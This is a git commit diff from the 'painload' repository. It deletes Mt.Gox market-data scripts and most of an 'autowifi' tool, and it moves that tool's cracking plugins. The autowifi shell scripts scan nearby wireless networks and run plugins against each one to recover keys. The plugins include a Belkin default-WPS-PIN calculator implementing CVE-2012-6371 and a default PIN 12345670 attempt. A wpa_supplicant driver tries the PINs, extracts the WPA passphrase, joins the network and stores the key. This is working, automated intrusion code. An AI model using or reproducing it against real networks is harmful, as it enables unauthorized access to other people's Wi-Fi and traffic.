diff options
| author | makefu <github@syntax-fehler.de> | 2014-12-20 22:49:58 +0100 | 
|---|---|---|
| committer | makefu <github@syntax-fehler.de> | 2014-12-20 22:49:58 +0100 | 
| commit | b7ea9e035a729186afb57894891d3bdec43aa9ae (patch) | |
| tree | 1d56cf8e00c536da4ecd4a2dff333b2b6233b9b9 | |
| parent | d9cb390f1d29b2ff11ac0c3deae093f4d5232d54 (diff) | |
| parent | f0ee1f2a63be9238506ec15da655a6077caaa807 (diff) | |
Merge branch 'master' of ssh://github.com/krebscode/painload
23 files changed, 4 insertions, 757 deletions
| diff --git a/gold/mtgox/mtgox.getDepth b/gold/mtgox/mtgox.getDepth deleted file mode 100755 index 9a607979..00000000 --- a/gold/mtgox/mtgox.getDepth +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh -# get mtgox market depth -$ curl -ksS https://mtgox.com/code/data/getDepth.php diff --git a/gold/mtgox/mtgox.getTrades b/gold/mtgox/mtgox.getTrades deleted file mode 100755 index 73e5a68d..00000000 --- a/gold/mtgox/mtgox.getTrades +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh -# get mtgox last trades -$ curl -ksS https://mtgox.com/code/data/getTrades.phl diff --git a/gold/mtgox/mtgox.ticker b/gold/mtgox/mtgox.ticker deleted file mode 100755 index 208d2764..00000000 --- a/gold/mtgox/mtgox.ticker +++ /dev/null @@ -1,53 +0,0 @@ -#! /bin/sh -# 2012-06-07 ~tv@iiso:bin/mtgox.ticker -set -euf - -Currency=${Currency-EUR} - -# continuous ticker -## usage: mtgox.ticker -f [time] [json-path...] -if test $# -ge 1 && test "$1" = -f; then -  shift -  time=`echo "$1" | grep '^[1-9][0-9]*[h]\?$'` && shift || time=60  -  echo -n "# sleep time: $time" -  while echo -n " -`date --rfc-3339=s` `"$0" "$@"`"; do -    sleep $time -  done -  exit -fi - -# 2012-11-17 tv /krebs/gold/mtgox/mtgox.ticker -ticker() { -  curl -ksS https://data.mtgox.com/code/data/ticker.php?Currency=$Currency -} -# 2012-11-17 tv ~mw*@iiso:Espresso-phonegap/package/bin/json-print -print() { -  node -e " -// 2012-11-17 tv -//filename = process.argv[2] -filename = process.argv[1] -jsonpath = [] -value = JSON.parse(require('fs').readFileSync(filename)) -// 2012-11-17 tv -//process.argv.slice(3).forEach(function (key) { -process.argv.slice(2).forEach(function (key) { -  value = value[key] -  jsonpath.push(key) -  if (typeof value === 'undefined') { -    console.error(filename + ':', jsonpath.join('.'), 'is', value) -    process.exit(23) -  } -}) - -console.log(JSON.stringify(value, null, 2)) -" "$@" -} - -# ticker -## usage: mtgox.ticker [json-path...] -> json -# 2012-11-17 tv -#/krebs/gold/mtgox/mtgox.ticker | -#    ~mw*@iiso:Espresso-phonegap/package/bin/json-print /dev/stdin ticker "$@" -ticker | -    print /dev/stdin ticker "$@" diff --git a/gold/mtgox/ticker_text.sh b/gold/mtgox/ticker_text.sh deleted file mode 100755 index f585ffea..00000000 --- a/gold/mtgox/ticker_text.sh +++ /dev/null @@ -1,4 +0,0 @@ -#! /bin/sh -set -euf -cd $(dirname `readlink -f $0`) -./mtgox.ticker | ../json/render/ticker diff --git a/recon/autowifi/usr/bin/inspector_wifi b/recon/autowifi/inspector_wifi index 17818b44..06f37ddb 100755 --- a/recon/autowifi/usr/bin/inspector_wifi +++ b/recon/autowifi/inspector_wifi @@ -8,7 +8,7 @@ cd "$(dirname "$(readlink -f "$0")")"  echo "waiting for iwlist scan data..." >&2  crack_wifi(){ -  for i in ../lib/autowifi/plugins/*;do +  for i in plugins/*;do      if RET=$(./$i "$@" 2>/dev/null);then        echo "$@ - with crack $i succeeded - Key is $RET"      fi diff --git a/recon/autowifi/usr/lib/autowifi/plugins/01open b/recon/autowifi/plugins/01open index 881f47ea..881f47ea 100755 --- a/recon/autowifi/usr/lib/autowifi/plugins/01open +++ b/recon/autowifi/plugins/01open diff --git a/recon/autowifi/usr/lib/autowifi/plugins/02alice b/recon/autowifi/plugins/02alice index 1b4533a4..65ab34b1 100755 --- a/recon/autowifi/usr/lib/autowifi/plugins/02alice +++ b/recon/autowifi/plugins/02alice @@ -7,7 +7,7 @@  # ESSID MAC CHANNEL ENCRYPTION   cd $(dirname $(readlink -f $0)) -. ../lib/plugin_core +. ./plugin_core  parse_plugin_args "$@" diff --git a/recon/autowifi/usr/lib/autowifi/plugins/02easybox b/recon/autowifi/plugins/02easybox index 3d7cb8c1..3bb1ee86 100755 --- a/recon/autowifi/usr/lib/autowifi/plugins/02easybox +++ b/recon/autowifi/plugins/02easybox @@ -2,7 +2,7 @@  #ESSID MAC CHANNEL ENCRYPTION WPA WPA2  cd $(dirname $(readlink -f $0)) -. ../lib/plugin_core +. ./plugin_core  parse_plugin_args "$@"  if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then diff --git a/recon/autowifi/usr/lib/autowifi/plugins/02tplink b/recon/autowifi/plugins/02tplink index b2b96f95..751ec209 100755 --- a/recon/autowifi/usr/lib/autowifi/plugins/02tplink +++ b/recon/autowifi/plugins/02tplink @@ -4,7 +4,7 @@  #   http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481   cd $(dirname $(readlink -f $0)) -. ../lib/plugin_core +. ./plugin_core  parse_plugin_args "$@" diff --git a/recon/autowifi/usr/lib/autowifi/lib/plugin_core b/recon/autowifi/plugins/plugin_core index e79a3c05..e79a3c05 100644 --- a/recon/autowifi/usr/lib/autowifi/lib/plugin_core +++ b/recon/autowifi/plugins/plugin_core diff --git a/recon/autowifi/usr/bin/autowifi b/recon/autowifi/usr/bin/autowifi deleted file mode 100755 index 6b9a090c..00000000 --- a/recon/autowifi/usr/bin/autowifi +++ /dev/null @@ -1,177 +0,0 @@ -#!/bin/sh -cd $(dirname $(readlink -f $0)) - - -interface=${interface:-wlan0} -root=${root:-../../} -crackdir=$root/usr/lib/autowifi/plugins -wifi_keys=$root/etc/autowifi/wifi_keys -wifi_log=$root/var/log/autowifi.log -painmode=${painmode:-} - -# exists() run_hooks() -. $root/usr/lib/autowifi/lib/core - - -. $root/usr/lib/autowifi/lib/network - -# start_wpa_supplicant() -. $root/usr/lib/autowifi/lib/wpa_supplicant - - -connect(){ -    #mac ssid encryption key - -    run_hooks interface pre  -    run_hooks profile pre  - -    connect_wifi "$@"  - -    ip_start dhcp  - -    if check_gateway && check_internet; then -        echo yay internet >&2 - -        run_hooks interface post -        run_hooks profile post - -        write_profile "$@" -        return 0 -    fi -    return 1 -} -write_profile(){ -    bandw=$(check_bandwidth) -    ( cat $wifi_keys | grep -v '^#' | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | ( echo "#SSID|MAC|BANDWIDTH|KEY";sort )| uniq > "${wifi_keys}2" -    mv "${wifi_keys}2" "$wifi_keys" -} - - -find_count_of_ssid(){ -    c=0 -    for i in `seq 1 $WIFI_COUNT`; do -        eval SSID=\${ESSID_${i}} -        if [ "$SSID" = "$1" ]; then -            c+=1 -            echo "$i" -        fi -    done -    if [ $c -eq 0 ];then -        exit 1 -    fi -    exit 0 -} - - -connect_to_network_by_ssid(){ -    find_count_of_ssid "$1" | (while read i -    do -        loop_over_cracks "$i" && exit 0 -    done;exit 1) -    if [ $? -eq 0 ]; then -        exit 0 -    fi -    echo "no network found :(" -    exit 1 -} - -connect_with_pw(){ -    find_count_of_ssid "$1" | (while read i -    do -        KEY="$2" -        eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\" -        if [ $? -eq 0 ]; then -            exit 0 -        fi -    done;exit 1) -} -wifi_init(){ -    wpa_supplicant_is_usable || start_wpa_supplicant /tmp/autowifi.wpa_supplicant -    wifi_scan > /tmp/${interface}.scan -    . /tmp/${interface}.scan -} -loop_over_networks(){ - -    wifi_init -    for i in `seq 1 $WIFI_COUNT`; do -        loop_over_cracks "$i" -        if [ $? -eq 0 ]; then -            return 0 -        fi -    done -} - -loop_over_cracks(){ -    i=$1 -    KEY='' -    for crack in $(find $crackdir -type f | sort -u); do -        KEY="$(eval root=$root painmode=$painmode \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})" -        if [ $? -eq 0 ]; then -            eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\" -            if [ $? -eq 0 ]; then -                return 0 -            fi -        fi -    done -    return 1 -} -loop_cracks_over_networks(){ -    wifi_init -    for crack in $(find $crackdir -type f | sort -u); do -        for i in `seq 1 $WIFI_COUNT`; do -            KEY="$(eval root=$root \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})" -            if [ $? -eq 0 ]; then -                eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\" -                if [ $? -eq 0 ]; then -                    return 0 -                fi -            fi -        done -    done - -} - -#scan_all(){ -#    for i in `seq 1 $WIFI_COUNT`; do -#        loop_over_cracks $i -#    done -#} -# -#scan_unscanned(){ -#    find_unscanned_networks | (while read i -#    do -#        loop_over_cracks $i -#    done) -#} - -#find_unscanned_networks(){ -#    #TODO broken -#    for i in `seq 1 $WIFI_COUNT`; do -#        eval SSID=\${ESSID_${i}} -#        eval MAC=\${MAC_${i}} -#        cat $wifi_stats 2>/dev/null | (while IFS='|' read SSID MAC BANDW KEY; do -#            if [ "$1" = "$SSID" -a "$2" = "$MAC" ]; then -#                continue -#            fi -#        done; echo $i) -#    done -#    exit 0 -#} - -wifi_init -if [ -n "$2" ]; then -    echo connecting to $1 with pw $2 -    connect_with_pw "$1" "$2" -elif [ -n "$1" ]; then -    echo connecting to $1 -    connect_to_network_by_ssid "$1" -else -    echo looping network now  -    check_internet || loop_cracks_over_networks - -    while sleep 10; do -        if ! check_gateway; then -            loop_cracks_over_networks -        fi -    done -fi diff --git a/recon/autowifi/usr/bin/autowifi_old b/recon/autowifi/usr/bin/autowifi_old deleted file mode 100755 index 55eaefcd..00000000 --- a/recon/autowifi/usr/bin/autowifi_old +++ /dev/null @@ -1,65 +0,0 @@ -#!/bin/sh -x -# States (LED): -#   Blinking   - running wifi plugins -#   Turned off - connected to wifi -#   Turned on  - waiting for next scan round - -wifi=wlan0 -iface=@wifi-iface[0] -radio=$(uci get wireless.${iface}.device) - -# for connect_wifi -. /usr/lib/autowifi/lib/openwrt - -# for iwlist_scan -. /usr/lib/autowifi/lib/iwlist - -# for check_internet and check_gateway -. /usr/lib/autowifi/lib/network - -crack_wifi(){ -    #SSID MAC CHANNEL ENCRYPTION WPA WPA2 -    all_led timer -    if [ "$4" == off ];then -        encr=open -    elif [ "$6" -eq 1 ]; then -        encr=psk2 -    elif [ "$5" -eq 1 ]; then -        encr=psk -    elif [ "$4" == on ]; then -        encr=wep -    fi -    for hack in $(find /usr/lib/autowifi/plugins -type f); do -        key=$($hack "$@"); -        ret=$? -        if [ $ret -eq 0 ];then -            connect_wifi "$3" "$1" $encr "$key" -            sleep 20 -            if check_gateway; then -                (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq  > /etc/autowifi/wifi_keys2 -                mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys -                echo "yay gateway" -                check_internet && all_led none && return 0 -            fi -        fi -    done -    return 1 -} -loop_over_networks(){ -    . /tmp/${wifi}.scan -    for i in `seq 1 $WIFI_COUNT`; do -        eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue -        eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break -    done -} - -iwlist_scan > /tmp/${wifi}.scan -loop_over_networks - -while sleep 60; do -    if ! check_internet; then -        all_led on -        iwlist_scan > /tmp/${wifi}.scan -        loop_over_networks -    fi -done diff --git a/recon/autowifi/usr/bin/iwlist_env b/recon/autowifi/usr/bin/iwlist_env deleted file mode 100755 index 29112ff3..00000000 --- a/recon/autowifi/usr/bin/iwlist_env +++ /dev/null @@ -1,33 +0,0 @@ -#!/bin/sh - -count=0 - -iwlist scan ${1:-} 2>/dev/null | ( while read line; -do -    case "$line" in -        *"Cell "*) -            #echo -            : $((count+=1)) -            echo MAC_${count}="${line#*Address: }" -            ;; -        *Channel:*) -            echo CHANNEL_${count}="${line#*:}" -            ;; -        *Quality=*) -            echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`" -            ;; -        *"Encryption key:"*) -            echo ENCRYPTION_${count}="${line#*key:}" -            ;; -        *ESSID:*) -            echo ESSID_${count}="${line#*ESSID:}" -            ;; -        *"IE: IEEE 802.11i/WPA2"*) -            echo WPA2_${count}=1 -            ;; -        *"IE: WPA Version 1"*) -            echo WPA_${count}=1 -            ;; -        *);; -    esac -done; echo WIFI_COUNT=$count) diff --git a/recon/autowifi/usr/lib/autowifi/lib/core b/recon/autowifi/usr/lib/autowifi/lib/core deleted file mode 100644 index 80ae75b4..00000000 --- a/recon/autowifi/usr/lib/autowifi/lib/core +++ /dev/null @@ -1,20 +0,0 @@ -#!/bin/sh - -exists() { type "$1" >/dev/null 2>/dev/null; } - -run_hooks(){  -    #  (interface|profile) (pre|post) -    typ=$1 -    action=$2 -    shift;shift -    : ${interface?please provide interface} -    if [ "$typ" = "interface" ];then -        path=interface/$interface/$action -    else -        path=profile/$2/$action -    fi -    for hook in $(find "$root/etc/autowifi/hooks/$path" -type f 2>/dev/null | sort -u ); do -        $hook "$@" -    done -} - diff --git a/recon/autowifi/usr/lib/autowifi/lib/iwlist b/recon/autowifi/usr/lib/autowifi/lib/iwlist deleted file mode 100644 index a9f77f0c..00000000 --- a/recon/autowifi/usr/lib/autowifi/lib/iwlist +++ /dev/null @@ -1,55 +0,0 @@ -#!/bin/sh - -print_iwlist_env(){ -    # takes environment: -    #   count -    #   MAC -    #   CHANNEL -    #   QUALITY -    #   ENCRYPTION -    #   ESSID -    #   WPA -    #   WPA2 -    for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do -        eval echo ${i}_${count}=\$${i} -    done -} - -iwlist_scan(){ -    # usage: iwlist_scan $wifi-itf -    ifconfig $wifi up - -    count=0 -     -    iwlist ${1:-} scan  2>/dev/null | ( while read line; -    do -        case "$line" in -            *"Cell "*) -                [ $count -eq  0 ] || print_iwlist_env -                WPA=0 -                WPA2=0 -                : $((count+=1)) -                MAC="${line#*Address: }" -                ;; -            *Channel:*) -                CHANNEL="${line#*:}" -                ;; -            *Quality=*) -                QUALITY="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`" -                ;; -            *"Encryption key:"*) -                ENCRYPTION="${line#*key:}" -                ;; -            *ESSID:*) -                ESSID="${line#*ESSID:}" -                ;; -            *"IE: IEEE 802.11i/WPA2"*) -                WPA2=1 -                ;; -            *"IE: WPA Version 1"*) -                WPA=1 -                ;; -            *);; -        esac -    done; print_iwlist_env ;echo WIFI_COUNT=$count) -} diff --git a/recon/autowifi/usr/lib/autowifi/lib/network b/recon/autowifi/usr/lib/autowifi/lib/network deleted file mode 100644 index a0105120..00000000 --- a/recon/autowifi/usr/lib/autowifi/lib/network +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh - -check_gateway(){ -    ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') >/dev/null -} -check_internet(){ -    # TODO determine the loader, either wget or curl -    secret=$(wget -O- http://krebsco.de/secret 2>/dev/null) -    if [ "$secret" == "1337" ]; then -        return 0 -    else -        echo "cannot load secret or secret incorrect" >&2 -        return 1 -    fi -} - -check_bandwidth(){ -    echo $(curl http://www.microsoft.com/africa/4afrika/images/infographic.gif -w "%{speed_download}" -o /dev/null 2>/dev/null | sed 's/\..*//') -} - -ip_start(){ -    : ${interface?interface variable not set} ${1?please provide method to start ip} -    # usage: method [extra parms] -    case "$1" in -        dhcp) -            if exists dhcpcd; then  -                dhcpcd -x $interface -                dhcpcd -w -A $interface -            elif exists dhclient; then -                dhclient -x $interface -                dhclient $interface -            elif exists udhcpc; then -                PIDFILE=/var/run/udhcpc-${interface}.pid -                [ -e $PIDFILE ] && kill `cat $PIDFILE` ||: -                udhcpc -n -p $PIDFILE -i $interface -s \ -                    "$root/usr/lib/autowifi/opt/udhcpc.run" -            fi ;; -        *) echo "do not know ip starter $1" >&2;; -    esac -} diff --git a/recon/autowifi/usr/lib/autowifi/lib/openwrt b/recon/autowifi/usr/lib/autowifi/lib/openwrt deleted file mode 100644 index 3483c1fe..00000000 --- a/recon/autowifi/usr/lib/autowifi/lib/openwrt +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/sh -connect_wifi(){ -    # channel ssid encryption key -    uci set wireless.${iface}.mode=sta - -    ifconfig $wifi up -    uci set wireless.${radio}.channel=$1 -    uci set "wireless.${iface}.ssid=$2" -    if [ $3 == "none" ] ; then -        uci set wireless.${iface}.encryption=none -        uci -q delete wireless.${iface}.key -    else -        uci set "wireless.${iface}.key=$4" -        uci set wireless.${iface}.encryption=$3 -    fi  -    uci commit wireless -    wifi up -} diff --git a/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant b/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant deleted file mode 100644 index df9c2155..00000000 --- a/recon/autowifi/usr/lib/autowifi/lib/wpa_supplicant +++ /dev/null @@ -1,59 +0,0 @@ -#!/bin/sh -start_wpa_supplicant(){  -    wpa_conf=${1?please supply wpa_supplicant.conf path} -    killall wpa_supplicant -    sleep 1 -cat>$wpa_conf<<EOF -ctrl_interface=/var/run/wpa_supplicant -EOF -    wpa_supplicant -i $interface -c $wpa_conf -B -    sleep 4 -} -connect_wifi(){ -    # bssid ssid encryption-string key - -    wpa_cli reconfigure - -    int=$(wpa_cli add_network | tail -1) -    wpa_cli set_network $int ssid \"$2\" -    wpa_cli set_network $int bssid $1 -    #wpa_cli set_network $int ap_scan 1 - -    if [ "$3" = "[ESS]" ]; then -        wpa_cli set_network $int key_mgmt NONE -    else -        wpa_cli set_network $int key_mgmt WPA-PSK -        wpa_cli set_network $int psk \"$4\" -    fi -    wpa_cli enable_network $int -} - -wifi_scan(){ -    # usage: iwlist_scan $wifi-itf - -    count=0 -    wpa_cli scan >/dev/null -    sleep 10 -     -    wpa_cli scan_results 2>/dev/null | egrep "^..:" | sed 's/	/ /g' | (while IFS=' ' read MAC FREQ QUALITY ENCRYPTION ESSID -    do -        : $((count+=1)) -        print_wifi_env - -    done; echo WIFI_COUNT=$count) -} - -print_wifi_env(){ -    # takes environment: -    # MAC -    # FREQ -    # QUALITY -    # ENCRYPTION -    # ESSID -    for i in MAC FREQ QUALITY ENCRYPTION ESSID;do -        eval echo ${i}_${count}=\\\"\$"${i}"\\\" -    done -} -wpa_supplicant_is_usable(){ -    wpa_cli status >/dev/null 2>&1 -} diff --git a/recon/autowifi/usr/lib/autowifi/lib/wps b/recon/autowifi/usr/lib/autowifi/lib/wps deleted file mode 100644 index 5e9bbda7..00000000 --- a/recon/autowifi/usr/lib/autowifi/lib/wps +++ /dev/null @@ -1,84 +0,0 @@ -#!/bin/sh -has_wps(){ -    # the-wpa_supplicant-encryption-string -    echo "$1" | grep  -q "\[WPS\]" -} -try_wps_pin(){ -    #  -    # ESSID MAC CHANNEL ENC WPA WPA2 PIN -    #set -ef -    ESSID="$1" -    MAC="$2" -    CHANNEL="$3" - -    # TODO  refactor to use all the encryption -    # the wpa_supplicant encryption string -    ENC="$4" - -    PIN="$5" - -    [ "$ENC" == "[ESS]" ] && return 2 -    WPA_CONF=/tmp/wpa_trywps.conf -    WPA_LOG=/tmp/wpa_trywps.log -    rm $WPA_LOG -    #mkfifo $WPA_LOG -    killall wpa_supplicant 2>/dev/null && sleep 1 -	 -    cat > $WPA_CONF <<EOF  -ctrl_interface=/var/run/wpa_supplicant -ctrl_interface_group=0 -update_config=1 -EOF -    wpa_supplicant -Dwext -iwlan0 -c $WPA_CONF -f $WPA_LOG 2>&1 & -    WPA_PID=$! -    sleep 2 -    if !(sudo wpa_cli wps_reg $MAC $PIN  | grep -q OK) ;then -        echo "wpa_cli wps_reg failed, bailing out!" -        return 1 -    fi - -            # association failed -            #    exit 1 ;; -    # TODO probably not posix compatible... -    timeout(){ -      ( timeout=10; -        while [ $timeout -gt 0 ]; do  -            sleep 1; -            kill -0 $$ 2> /dev/null || exit 0;  -            : $((timeout--)); -        done ; -        echo "TIMEOUT REACHED" ;  -        kill $$)& -       exec $@ -    } - -    if (  timeout tail -f $WPA_LOG & echo "TAILPID: $!") | while read line ; do -        bye(){ -            printf "%s:" "$2" >&2 -            kill $WPA_PID -            kill -HUP $TAILPID -            exit $1 -        } -        # DEBUG -        #echo $line >&2 -        case "$line" in -            TAILPID:*)IFS=" " set -- $line; TAILPID=$2;; -            *"WPS-FAIL msg=10 config_error=18"*) bye 1 "wrong pin";;  -            *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1 "rate limiting";;  -            #*"Association request to the driver failed") bye 1 "wps not available";;        -            #*CTRL-EVENT-DISCONNECTED*):;; -            *"CTRL-EVENT-DISCONNECTED bssid="*"reason=3 locally_generated=1"*)bye 1 "authentication failed, wps deactivated?";; -            "TIMEOUT REACHED")bye 1 "timeout reached";; -            *CTRL-EVENT-TERMINATING*) bye 1 "wpa_supplicant died";; -            *CTRL-EVENT-CONNECTED*) bye 0 "yay connected";;  -        esac -    done ; then -        #echo "Connected!" -        sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' "$WPA_CONF" -        return 0 -    else -        #echo "failed!" -        return 1 -    fi - -} diff --git a/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run b/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run deleted file mode 100755 index 2e1b919f..00000000 --- a/recon/autowifi/usr/lib/autowifi/opt/udhcpc.run +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh -# shamelessly stolen from http://www.doit.org/udhcpc/S50default - -PATH=/bin:/usr/bin:/sbin:/usr/sbin - -RESOLV_CONF="/etc/resolv.conf" - -update_interface() -{ -  [ -n "$broadcast" ] && BROADCAST="broadcast $broadcast" -  [ -n "$subnet" ] && NETMASK="netmask $subnet" -  ifconfig $interface $ip $BROADCAST $NETMASK -} - -update_routes() -{ -  if [ -n "$router" ] -  then -    echo "deleting routes" -    while route del default gw 0.0.0.0 dev $interface -    do : -    done - -    for i in $router -    do -      route add default gw $i dev $interface -    done -  fi -} - -update_dns() -{ -  echo -n > $RESOLV_CONF -  [ -n "$domain" ] && echo domain $domain >> $RESOLV_CONF -  for i in $dns -  do -    echo adding dns $i -    echo nameserver $i >> $RESOLV_CONF -  done -} - -deconfig() -{ -  ifconfig $interface 0.0.0.0 -} - -case "$1" in -  bound) -    update_interface; -    update_routes; -    update_dns; -  ;; - -  renew) -    update_interface; -    update_routes; -    update_dns; -  ;; - -  deconfig) -    deconfig; -  ;; - -  *) -    echo "Usage: $0 {bound|renew|deconfig}" -    exit 1 -    ;; -esac - -exit 0 diff --git a/recon/autowifi/usr/lib/autowifi/plugins/00profile b/recon/autowifi/usr/lib/autowifi/plugins/00profile deleted file mode 100755 index d7fb9c75..00000000 --- a/recon/autowifi/usr/lib/autowifi/plugins/00profile +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/sh -#ESSID MAC CHANNEL ENCRYPTION WPA WPA2 -# ENV: -#   root (default: /) -root=${root:-/} -cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC BANDWIDTH KEY; do -    if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then -        echo $KEY -        exit 0 -    fi -done; exit 1) diff --git a/recon/autowifi/usr/lib/autowifi/plugins/11belkin_wps b/recon/autowifi/usr/lib/autowifi/plugins/11belkin_wps deleted file mode 100755 index d4eb8e37..00000000 --- a/recon/autowifi/usr/lib/autowifi/plugins/11belkin_wps +++ /dev/null @@ -1,40 +0,0 @@ -#!/bin/sh -# thanks to http://ednolo.alumnos.upv.es/?p=1295G -# for the PoC code  -# Calculates the default WPS pin of Belkin Routers and returns the WPA key -# -# Implementation of CVE-2012-6371 - -# works : -# Belkin_N+_XXXXXX   00:22:75:XX:XX:XX    F5D8235-4 v1000 -# belkin.XXX         00:1C:DF:XX:XX:XX    F5D8231-4 v5000 -# belkin.XXX         09:86:3B:XX:XX:XX    F9K1104   v1000 - -cd $(dirname $(readlink -f $0)) -. ../lib/plugin_core -. ../lib/wps -parse_plugin_args "$@" - -check_painmode - -! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B && echo "VENDOR MAC $VENDOR_MAC not affected" && exit 1 - -calc_belkin(){ -    PRIVATE_MAC=${1} - -    p=$((0x$PRIVATE_MAC % 10000000)) -    wps_pin_checksum(){ -        pin=$1 -        accum=0 -        while [ $pin -ne 0 ];do -            accum=$((accum + (3 * (pin % 10)) )) -            pin=$((pin/10)) -            accum=$((accum + pin %10 )) -            pin=$((pin/10)) -        done -        echo $(( (10 - accum % 10) % 10)) -    } -    printf "%07d%d" $p $(wps_pin_checksum $p) -    return 0 -} -try_wps_pin $@ $(calc_belkin ${PRIVATE_MAC}) diff --git a/recon/autowifi/usr/lib/autowifi/plugins/30default_wps b/recon/autowifi/usr/lib/autowifi/plugins/30default_wps deleted file mode 100755 index 50ad2676..00000000 --- a/recon/autowifi/usr/lib/autowifi/plugins/30default_wps +++ /dev/null @@ -1,18 +0,0 @@ -#!/bin/sh -# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot -# http://www.wotan.cc/?p=75 -cd $(dirname $(readlink -f $0)) -. ../lib/wps -. ../lib/plugin_core - -parse_plugin_args "$@" -check_painmode -DEFAULT_PIN="${DEFAULT_PIN:-12345670}" - -if has_wps "$ENC"; then -    echo "trying PIN $DEFAULT_PIN against $ESSID" >&2 -    try_wps_pin "$@" $DEFAULT_PIN -else -    echo "Network $ESSID not WPS enabled" -    exit 1 -fi | 
